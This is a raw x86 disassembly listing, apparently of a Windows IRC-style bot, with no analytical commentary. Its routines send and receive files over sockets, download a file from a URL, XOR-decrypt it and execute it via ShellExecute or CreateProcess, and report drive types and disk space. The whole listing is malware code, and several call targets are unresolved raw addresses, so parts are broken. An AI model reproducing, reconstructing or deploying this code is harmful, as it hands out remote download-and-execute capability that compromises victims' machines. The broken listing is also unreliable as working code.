dd 0E890646Ah, 226A407h, 0DAE80A6Ah, 85FFFF54h, 0A37559C0h
dd 0EE4C858Dh, 0B068FFFFh, 50004377h, 5ED5E8h, 0F87D3900h
dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h
dd 0E85350FFh, 0FFFF3712h, 8D14C483h, 0FFEE4C85h, 8FE850FFh
dd 59FFFFFBh, 9C15FF53h, 0FF004C93h, 5AE8F075h, 59FFFF55h
dd 89E89057h
db 9Eh, 2Dh, 2
; ---------------------------------------------------------------------------
loc_416177: ; DATA XREF: sub_401AC7+76ABo
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4C9384
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_4161C5
push offset unk_437914
jmp loc_41637E
; ---------------------------------------------------------------------------
loc_4161C5: ; CODE XREF: ___:004161B9j
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41BD10
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4C9304
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4C9330
test eax, eax
jz short loc_416203
push offset unk_4378F0
jmp loc_41637E
; ---------------------------------------------------------------------------
loc_416203: ; CODE XREF: ___:004161F7j
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4C92A8
push dword ptr [ebp-2Eh]
call dword_4C9234
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41B960
pop ecx
loc_416235: ; CODE XREF: ___:00416266j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_416248
push 5Fh
pop eax
jmp short loc_41624B
; ---------------------------------------------------------------------------
loc_416248: ; CODE XREF: ___:00416241j
movsx eax, al
loc_41624B: ; CODE XREF: ___:00416246j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41B960
cmp [ebp+8], eax
pop ecx
jbe short loc_416235
push ebx
push edi
call dword_4C932C
test eax, eax
jz short loc_41627E
push offset unk_437814
jmp loc_41637E
; ---------------------------------------------------------------------------
loc_41627E: ; CODE XREF: ___:00416272j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 27306D8h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4162A8
push offset unk_4378D0
jmp loc_41637E
; ---------------------------------------------------------------------------
loc_4162A8: ; CODE XREF: ___:0041629Cj
push esi
push eax
nop
call near ptr 2760AD0h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40A9FA
pop ecx
push eax
call dword_4C9344
push eax
call dword_4C9300
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_4378B8
push eax
call sub_41C006
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409862
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4C92EC
test eax, eax
jg short loc_416358
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_4378A0
push eax
push dword ptr [ebp-1FCh]
call sub_409862
jmp loc_41647C
; ---------------------------------------------------------------------------
loc_416358: ; CODE XREF: ___:00416336j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4C9398
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416391
push offset unk_43787C
loc_41637E: ; CODE XREF: ___:004161C0j
; ___:004161FEj ...
lea eax, [ebp-3FCh]
push eax
call sub_41C006
pop ecx
pop ecx
jmp loc_41647F
; ---------------------------------------------------------------------------
loc_416391: ; CODE XREF: ___:00416377j
push edi
call dword_4C939C
cmp [ebp+8], esi
jz loc_416443
mov edi, 400h
loc_4163A6: ; CODE XREF: ___:0041643Aj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_4163B3
mov [ebp-4], eax
loc_4163B3: ; CODE XREF: ___:004163AEj
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41BD10
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 2791104h
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 2710000h
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4C9354
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4C931C
cmp eax, ebx
jl loc_4164D8
mov eax, [ebp-4]
cmp eax, ebx
jl loc_4164D8
sub [ebp+8], eax
jnz loc_4163A6
mov edi, [ebp-18h]
loc_416443: ; CODE XREF: ___:0041639Bj
push dword ptr [ebp-8]
nop
call near ptr 2660000h
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416C7D
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4C9390
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_437850
push eax
call sub_41C006
loc_41647C: ; CODE XREF: ___:00416353j
add esp, 14h
loc_41647F: ; CODE XREF: ___:0041638Cj
cmp [ebp-50h], esi
jnz short loc_4164A4
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409862
add esp, 14h
loc_4164A4: ; CODE XREF: ___:00416482j
lea eax, [ebp-3FCh]
push eax
call sub_415CEE
cmp edi, esi
pop ecx
jbe short loc_4164BC
push edi
call dword_4C939C
loc_4164BC: ; CODE XREF: ___:004164B3j
push dword ptr [ebp-1F8h]
call dword_4C939C
push dword ptr [ebp-58h]
call sub_40B6C9
pop ecx
push esi
nop
call near ptr 26F0000h
loc_4164D8: ; CODE XREF: ___:00416426j
; ___:00416431j
push esi
mov esi, offset dword_437838
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409862
push esi
call sub_415CEE
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4C939C
push dword ptr [ebp-58h]
call sub_40B6C9
pop ecx
push ebx
nop
call near ptr 26F0000h
loc_416519: ; DATA XREF: sub_401AC7+78Fo
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C2A0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
nop
call near ptr 2680000h
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429ACC
push eax
call sub_41C006
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call near ptr 27306D8h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_4165A3
push offset unk_4379B4
jmp short loc_4165E9
; ---------------------------------------------------------------------------
loc_4165A3: ; CODE XREF: ___:0041659Aj
push eax
nop
call near ptr 2660000h
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41BC88
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_4165CB
push offset unk_437984
jmp short loc_4165E9
; ---------------------------------------------------------------------------
loc_4165CB: ; CODE XREF: ___:004165C2j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415F30
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_4165FC
push offset unk_437964
loc_4165E9: ; CODE XREF: ___:004165A1j
; ___:004165C9j
lea eax, [ebp-4C4h]
push eax
call sub_41C006
pop ecx
pop ecx
jmp loc_4166F6
; ---------------------------------------------------------------------------
loc_4165FC: ; CODE XREF: ___:004165E2j
mov esi, 1000h
loc_416601: ; CODE XREF: ___:00416667j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4C931C
mov edi, eax
cmp edi, ebx
jz loc_4166C8
cmp edi, 0FFFFFFFFh
jz short loc_416669
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41DA54
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4C9300
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4C9354
jmp short loc_416601
; ---------------------------------------------------------------------------
loc_416669: ; CODE XREF: ___:00416631j
lea eax, [ebp-4C4h]
push offset dword_437838
push eax
call sub_41C006
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409862
lea eax, [ebp-4C4h]
push eax
call sub_415CEE
push dword ptr [ebp-4]
call sub_41B9DB
add esp, 24h
push dword ptr [ebp+8]
call dword_4C939C
push dword ptr [ebp-1Ch]
call sub_40B6C9
pop ecx
push 1
nop
call near ptr 26F0000h
loc_4166C8: ; CODE XREF: ___:00416628j
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416C7D
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_437938
push eax
call sub_41C006
add esp, 1Ch
loc_4166F6: ; CODE XREF: ___:004165F7j
cmp [ebp-14h], ebx
jnz short loc_41671B
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409862
add esp, 14h
loc_41671B: ; CODE XREF: ___:004166F9j
lea eax, [ebp-4C4h]
push eax
call sub_415CEE
cmp [ebp-4], ebx
pop ecx
jz short loc_416736
push dword ptr [ebp-4]
call sub_41B9DB
pop ecx
loc_416736: ; CODE XREF: ___:0041672Bj
cmp [ebp+8], ebx
jbe short loc_416744
push dword ptr [ebp+8]
call dword_4C939C
loc_416744: ; CODE XREF: ___:00416739j
push dword ptr [ebp-1Ch]
call sub_40B6C9
pop ecx
push ebx
call near ptr 26F0000h
nop
loc_416754: ; DATA XREF: sub_401AC7+61D9o
; sub_401AC7+6A07o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4C92B4
call dword_4C9208
cmp eax, esi
mov [ebp-18h], eax
jz loc_416BE0
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 27306D8h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_41681B
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_437B80
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4167FE
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
add esp, 14h
loc_4167FE: ; CODE XREF: ___:004167DCj
lea eax, [ebp-510h]
push eax
call sub_415CEE
push dword ptr [ebp-48h]
call sub_40B6C9
pop ecx
pop ecx
push esi
nop
call near ptr 26F0000h
loc_41681B: ; CODE XREF: ___:004167BCj
xor edi, edi
nop
call near ptr 26A0729h
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41BC9B
pop ecx
mov [ebp-1Ch], eax
loc_416835: ; CODE XREF: ___:00416908j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4C9210
cmp [ebp-34h], esi
jz short loc_416879
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_416C46
pop ecx
pop ecx
loc_416879: ; CODE XREF: ___:00416866j
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
call near ptr 2720000h
nop
cmp edi, ebx
jnb short loc_4168B7
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_4168A1
mov eax, [ebp+8]
loc_4168A1: ; CODE XREF: ___:0041689Cj
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41CAB0
add esp, 0Ch
loc_4168B7: ; CODE XREF: ___:00416893j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_4168C4
cmp edi, [ebp-3Ch]
ja short loc_41690E
loc_4168C4: ; CODE XREF: ___:004168BDj
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_4168DE
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437B58
jmp short loc_4168EE
; ---------------------------------------------------------------------------
loc_4168DE: ; CODE XREF: ___:004168CAj
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437B30
loc_4168EE: ; CODE XREF: ___:004168DCj
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43C040
push eax
call sub_41C006
add esp, 10h
cmp [ebp+8], esi
ja loc_416835
loc_41690E: ; CODE XREF: ___:004168C2j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416963
cmp edi, [ebp-3Ch]
jz short loc_416963
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_437B04
push eax
call sub_41C006
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
lea eax, [ebp-510h]
push eax
call sub_415CEE
add esp, 28h
loc_416963: ; CODE XREF: ___:00416918j
; ___:0041691Dj
nop
call near ptr 26A0729h
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call near ptr 2660000h
nop
push dword ptr [ebp-1Ch]
call sub_41BA31
cmp [ebp-38h], esi
pop ecx
jz short loc_4169ED
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_4169ED
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_437ADC
push eax
call sub_41C006
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
lea eax, [ebp-510h]
push eax
call sub_415CEE
add esp, 28h
loc_4169ED: ; CODE XREF: ___:00416995j
; ___:004169A7j
cmp [ebp-14h], esi
jz loc_416C2D
cmp dword ptr [ebp-44h], 1
jz loc_416AE8
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276A8
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276A8
fstp qword ptr [esp]
push offset unk_437AA4
push eax
call sub_41C006
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416A68
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
add esp, 14h
loc_416A68: ; CODE XREF: ___:00416A46j
lea eax, [ebp-510h]
push eax
call sub_415CEE
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_416C2D
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4C9270
cmp [ebp-30h], esi
jnz loc_416C2D
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_437A88
push eax
call sub_41C006
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
lea eax, [ebp-510h]
push eax
call sub_415CEE
add esp, 24h
jmp loc_416C2D
; ---------------------------------------------------------------------------
loc_416AE8: ; CODE XREF: ___:004169FAj
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276A8
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276A8
fstp qword ptr [esp]
push offset unk_437A44
push eax
call sub_41C006
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416B50
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
add esp, 14h
loc_416B50: ; CODE XREF: ___:00416B2Ej
lea eax, [ebp-510h]
push eax
call sub_415CEE
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41BD10
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41BD10
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_43B4B8
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 26603BDh
cmp eax, edi
jnz short loc_416BD2
call dword_4C925C
call sub_418857
push esi
nop
call near ptr 77E75CB5h
loc_416BD2: ; CODE XREF: ___:00416BBEj
lea eax, [ebp-148h]
push eax
push offset unk_437A10
jmp short loc_416BEC
; ---------------------------------------------------------------------------
loc_416BE0: ; CODE XREF: ___:00416799j
lea eax, [ebp-248h]
push eax
push offset unk_4379E4
loc_416BEC: ; CODE XREF: ___:00416BDEj
lea eax, [ebp-510h]
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416C20
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409862
add esp, 14h
loc_416C20: ; CODE XREF: ___:00416BFEj
lea eax, [ebp-510h]
push eax
call sub_415CEE
pop ecx
loc_416C2D: ; CODE XREF: ___:004169F0j
; ___:00416A79j ...
push dword ptr [ebp-18h]
call dword_4C9338
push dword ptr [ebp-48h]
call sub_40B6C9
pop ecx
push esi
call near ptr 26F0000h
nop
; =============== S U B R O U T I N E =======================================
sub_416C46 proc near ; CODE XREF: ___:00416872p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416C62
loc_416C52: ; CODE XREF: sub_416C46+1Aj
mov dl, byte_429090
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C52
locret_416C62: ; CODE XREF: sub_416C46+Aj
retn
sub_416C46 endp
; =============== S U B R O U T I N E =======================================
sub_416C63 proc near ; CODE XREF: sub_401AC7+57AEp
; sub_401AC7+58E0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DB5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416C63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C7D proc near ; CODE XREF: sub_410330+45Dp
; sub_410330+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D0F38
push 0
push edi
call sub_41BD10
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CA2: ; CODE XREF: sub_416C7D+5Bj
; sub_416C7D+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DC20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DBB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416CE0
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CA2
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CA2
; ---------------------------------------------------------------------------
loc_416CE0: ; CODE XREF: sub_416C7D+4Bj
dec esi
mov eax, edi
loc_416CE3: ; CODE XREF: sub_416C7D+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416CF2
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416CE3
; ---------------------------------------------------------------------------
loc_416CF2: ; CODE XREF: sub_416C7D+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416C7D endp
; =============== S U B R O U T I N E =======================================
sub_416CFC proc near ; CODE XREF: sub_416EA8+51p
; sub_416EA8+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4C9364
sub eax, 0
jz short loc_416D3F
dec eax
jz short loc_416D39
dec eax
dec eax
jz short loc_416D33
dec eax
jz short loc_416D2D
dec eax
jz short loc_416D27
dec eax
jz short loc_416D21
mov eax, offset word_437BD4
retn
; ---------------------------------------------------------------------------
loc_416D21: ; CODE XREF: sub_416CFC+1Dj
mov eax, offset off_437BD0
retn
; ---------------------------------------------------------------------------
loc_416D27: ; CODE XREF: sub_416CFC+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D2D: ; CODE XREF: sub_416CFC+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D33: ; CODE XREF: sub_416CFC+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D39: ; CODE XREF: sub_416CFC+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D3F: ; CODE XREF: sub_416CFC+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416CFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D45 proc near ; CODE XREF: sub_416D8D+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4C91F4
test eax, eax
jz short loc_416D7A
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416D7A: ; CODE XREF: sub_416D45+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D8D proc near ; CODE XREF: sub_416EA8+17p
; sub_41AF2B+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D45
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416E65
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416E65
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416E65
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DCA0
push edx
push eax
call sub_416C7D
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C100
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DCA0
push edx
push eax
call sub_416C7D
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C100
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DCA0
push edx
push eax
call sub_416C7D
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C100
add esp, 18h
pop ebx
jmp short loc_416E94
; ---------------------------------------------------------------------------
loc_416E65: ; CODE XREF: sub_416D8D+2Cj
; sub_416D8D+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C006
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C006
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C006
add esp, 18h
loc_416E94: ; CODE XREF: sub_416D8D+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EA8 proc near ; CODE XREF: sub_416F7A+17p
; sub_416F7A+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416D8D
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C7E0
add esp, 10h
test eax, eax
jnz short loc_416F1B
push ebx
push ebx
call sub_416CFC
pop ecx
push eax
push offset unk_437C24
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C100
add esp, 14h
jmp short loc_416F4F
; ---------------------------------------------------------------------------
loc_416F1B: ; CODE XREF: sub_416EA8+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416CFC
pop ecx
push eax
push offset unk_437BE8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C100
add esp, 20h
loc_416F4F: ; CODE XREF: sub_416EA8+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_500]
push eax
call sub_415CEE
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F7A proc near ; CODE XREF: sub_401AC7+2518p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416F9B
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EA8
add esp, 10h
jmp short loc_416FFC
; ---------------------------------------------------------------------------
loc_416F9B: ; CODE XREF: sub_416F7A+9j
push esi
push edi
push ebx
push ebx
call dword_4C926C
lea esi, [eax+2]
push esi
call sub_41BC9B
pop ecx
mov edi, eax
push edi
push esi
call dword_4C926C
cmp [edi], bl
mov esi, edi
jz short loc_416FF3
